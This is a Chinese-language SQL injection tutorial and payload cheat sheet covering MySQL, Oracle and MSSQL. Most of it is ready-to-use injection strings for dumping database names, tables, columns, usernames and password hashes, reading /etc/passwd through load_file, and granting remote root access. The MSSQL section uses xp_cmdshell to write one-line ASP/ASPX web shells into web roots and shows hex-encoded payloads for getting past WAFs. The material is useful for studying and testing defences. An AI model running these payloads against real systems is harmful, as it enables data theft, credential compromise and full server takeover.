网络安全基础——SQL注入
数据世界是由数据构成的,重要的数据都放在数据库里,SQL注入就是刺破数据库的技巧。
跳过限制拿到你想要的
根据应用程序处理数据库返回内容的差异,可将SQL注入的攻击方式分为:
报错注入
数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中 所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。
可显注入
攻击者可以直接在当前界面内容中获取想要获得的内容
盲注
数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。
Mysql 手工注入
1、报错注入
1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a)); 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from
information_schema.schemata limit 2,1),1) -- + 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- + 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from
information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
2、联合注入
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+
3.盲注
布尔盲注
?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + //如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- + //若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1 insert,delete,update 这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,如用sqlmap会产生大量垃圾数据 尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
时间盲注
常用函数 sleep() 分割函数 substr、substring、left
分割函数编码后可不用引号,ascii() hex() 一般时间盲注我们还需要使用条件判断函数
if(expre1,expre2,expre3) 当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+ ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
4.Oracle 手工注入
联合注入
?id=-1' union select user,null from dual-- ?id=-1' union select version,null from v$instance-- ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)-- ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)-- ?id=-1' union select username,passwd from users-- ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
报错注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))-- ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
布尔盲注
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)-- ?id=1' and ascii(substr(user,1,1))> 64--
时间盲注
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
5.二次注入和宽字节注入
宽字节注入
单引号转义为 ' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字 所以把 %df 加上 %5c 就变成了一个汉字“運”,从而绕过转义
二次注入
没有单引号的sql语句中,进行16进制编码,这样就不会带有单引号
SQL手工注入
判断注入点是否存在
搜索型注入
输入框中输入 ' 返回错误 x%' and 1=1 and '%'=' 返回正确 x%' and 1=2 and '%'=' 返回错误
数字型注入
url后输入 and 1=1
and 1=2
如返回不同,则可判断注入点存在
例:
http://www.xxx.cn/news.php?p=1&id=4 13' 返回错误
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=1 返回正确
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=2 返回错误
字符型注入
url后输入 ' and 1=1 and '1'='1
' and 1=2 and '1'='1
http://www.xxx.cn/news.php?p=1&id=4 13' 返回错误
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=1 and '1'='1 返回正确
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=2 and '1'='1 返回错误
判断字段数
搜索型
x%' order by 26 # 返回正确 x%' order by 27 # 返回错误 得出结论:字段数26。
数字型
http://www.xxx.cn/news.php?p=1&id=4 13 order by 26 返回正确
http://www.xxx.cn/news.php?p=1&id=4 13 order by 27 返回错误
得出结论:字段数26。
字符型
http://www.xxx.cn/news.php?p=1&id=4 13' order by 26 # 返回正确
http://www.xxx.cn/news.php?p=1&id=4 13' order by 27 # 返回错误
得出结论:字段数26。
寻找可显示字段
搜索型
x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #
数字型
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=2 union select 1,2,3,4,5,6,7,8,9,....
字符型
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #
查数据库名
搜索型
x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
数字型
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....
字符型
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
查数据库中表名
搜索型
X%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' # 数据库名也可以使用十六进制
数字型
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' 数据库名也可以使用十六进制
字符型
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' # 数据库名也可以使用十六进制
查表中的列名
搜索型
x%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' # 表名也可以使用十六进制
数字型
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' 表名也可以使用十六进制
字符型
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' # 表名也可以使用十六进制
查表中的数据
x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #
显示版本:select version(); 显示数据库show databases; 显示字符集:select @@character_set_database; 显示表名:show tables; 显示mysql路径:select @@basedir; 显示计算机名:select @@hostname; 显示root密码:select User,Password from mysql.user; 显示系统版本:select @@version_compile_os; 显示数据库路径:select @@datadir;
开启外连:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
数字型
http://www.xxx.cn/news.php?p=1&id=4 13 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名
字符型
http://www.xxx.cn/news.php?p=1&id=4 13' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #
MySQL函数利用
MySQL提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限 SQL语句如下: union select 1,load_file(‘/etc/passwd’),3,4,5 #
通常,一些防注入语句不允许单引号的出现,那么可以使用一下语句绕过: union select 1,load_file( 0x272F6574632F70617373776427),3,4,5 #
对路径进行16进制转换。
MSSQL手工注入
与SQL注入不同的是
SQL利用的爆出显示的字段 MSSQL利用的报错注入,插入恶意的sql语句,让查询报错,在报出的错误中,显示我们想要的信息。
注入点:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1
查询当前数据库名称
db_name():当前使用的数据库名称。
报错信息:
在将 nvarchar 值 ‘abc‘ 转换成数据类型 int 时失败。
查询数据库版本
@@version:MSSQL全局变量,表示数据库版本信息。
测试语句:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and @@version>0 注意:“and @@vsersion>0”也可以写成“and 0/@@version>0”
报错信息:
在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1
原因:
@@version是MSSQL的全局变量,如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。
查询当前连接数据库的用户
User_Name():当前连接数据库的用户。
报错信息:
在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。 注意: 如果看到dbo,那么多半当前数据库的用户是dba权限。
查询计算机名称
@@servername:MSSQL全局变量,表示计算机名称。
报错信息:
在将 nvarchar 值 ‘WINDOWS-XXXXXX‘ 转换成数据类型 int 时失败。
查询其他数据库名称
爆其他数据库:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
报错信息:
在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。
再爆其他的数据库则这么写:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0
继续的话要这么写:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0
查询数据库中的表名
查表名:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0)>0
报错信息:
在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。
再爆其他表:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart'))>0
再继续:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0
查询表中的列名或者是字段名
查字段名:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0
报错信息:
在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。
再爆其他字段:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0
再继续:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0
爆数据
查询数据:
http://www.xxx.cn/xxx/xxx.aspx?id=1 1 and (select top 1 password from depart)>0
报错信息:
在将 nvarchar 值 ‘ B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。
写入一句话木马
如果数据的权限是dba,且知道网站绝对路径的话,那么我们就可以用这个语句来写一句话木马进去:
asp木马:
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--
aspx木马:
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' -- 原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。
利用hex编码绕过WAF
http://www.xxx.com/xxx/xxx.aspx?username=xxx 利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex,然后利用报错注入就可以注入这个网站。
爆数据库版本
select convert(int,@@version) hex编码后: 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
然后使用如下方式注入:
http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–
报错信息:
在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。
注意后面的注入语句:
dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000) sEt @s= 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为“select convert(int,@@version)”的十六进制编码
eXeC(@s) //调用函数exec()执行“@s”中的内容。
爆当前数据库
select convert(int,db_name())
爆当前用户
select convert(int,User_Name())
爆表
select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0)) select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))
爆字段
select convert(int,(select top 1 COLUMN_NAME from abc[数据库名] .information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’)) select convert(int,(select top 1 COLUMN_NAME from abc[数据库名] .information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))
爆数据
select convert(int,(select top 1 username from CMS_Admin)) select convert(int,(select top 1 password from CMS_Admin))
|